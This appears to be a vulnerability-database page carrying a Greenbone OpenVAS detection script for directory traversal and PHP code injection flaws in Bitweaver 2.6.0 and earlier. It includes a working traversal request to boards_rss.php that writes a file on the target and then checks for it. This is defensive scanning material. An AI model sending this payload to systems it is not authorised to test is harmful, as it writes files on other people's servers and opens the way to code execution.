Lucene search

K
openvasCopyright (C) 2009 Greenbone AGOPENVAS:1361412562310900356
HistoryMay 26, 2009 - 12:00 a.m.

Bitweaver Directory Traversal And Code Injection Vulnerabilities

2009-05-2600:00:00
Copyright (C) 2009 Greenbone AG
plugins.openvas.org
8

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7.3 High

AI Score

Confidence

Low

0.008 Low

EPSS

Percentile

81.6%

Bitweaver, is prone to directory traversal and code injection vulnerabilities.

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:bitweaver:bitweaver";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900356");
  script_version("2023-06-22T10:34:14+0000");
  script_tag(name:"last_modification", value:"2023-06-22 10:34:14 +0000 (Thu, 22 Jun 2023)");
  script_tag(name:"creation_date", value:"2009-05-26 15:05:11 +0200 (Tue, 26 May 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2009-1677", "CVE-2009-1678");
  script_name("Bitweaver Directory Traversal And Code Injection Vulnerabilities");
  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("secpod_bitweaver_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Bitweaver/installed");
  script_tag(name:"impact", value:"Successful exploitation will let the attacker to cause PHP code injection,
  directory traversal, gain sensitive information, and can cause arbitrary
  code execution inside the context of the web application.");
  script_tag(name:"affected", value:"Bitweaver version 2.6.0 and prior");
  script_tag(name:"insight", value:"Multiple flaws are due to improper handling of user supplied input in saveFeed
  function in rss/feedcreator.class.php file and it can cause following attacks.

  - PHP code injection via placing PHP sequences into the account 'display name'
    setting for authenticated users or in the HTTP Host header for remote users
    by sending a request to boards/boards_rss.php.

  - Directory traversal allow remote user to create or overwrite arbitrary file
    via a .. (dot dot) in the version parameter to boards/boards_rss.php.");
  script_tag(name:"solution", value:"Upgrade to Bitweaver version 2.6.1 or later.");
  script_tag(name:"summary", value:"Bitweaver, is prone to directory traversal and code injection vulnerabilities.");
  script_xref(name:"URL", value:"http://secunia.com/advisories/35057");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/34910");
  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/8659");
  script_xref(name:"URL", value:"http://www.bitweaver.org/articles/121");
  script_xref(name:"URL", value:"http://www.bitweaver.org/downloads/file/16337");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

# if short_open_tag in php.ini is off (because of "<?xml ..." preamble
# generating a parse error with short_open_tag = on), you can now launch
# commands:

req = http_get(item:string(dir + "/boards/boards_rss.php?version=/../../../../bookoo.php \r\n\r\n"), port:port);
res = http_send_recv(port:port, data:req);

if("Set-Cookie: BWSESSION" >< res &&
   egrep(pattern:"^HTTP/1\.[01] 200", string:res, icase:TRUE))
{
  req = http_get(item:string(dir + "/bookoo.php.xml \r\n\r\n"), port:port);
  res = http_send_recv(port:port, data:req);

  if(egrep(pattern:"^HTTP/1\.[01] 200", string:res, icase:TRUE) && "<title> Feed</title>" >< res) {
    security_message(port:port);
    exit(0);
  }
}

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7.3 High

AI Score

Confidence

Low

0.008 Low

EPSS

Percentile

81.6%

Related for OPENVAS:1361412562310900356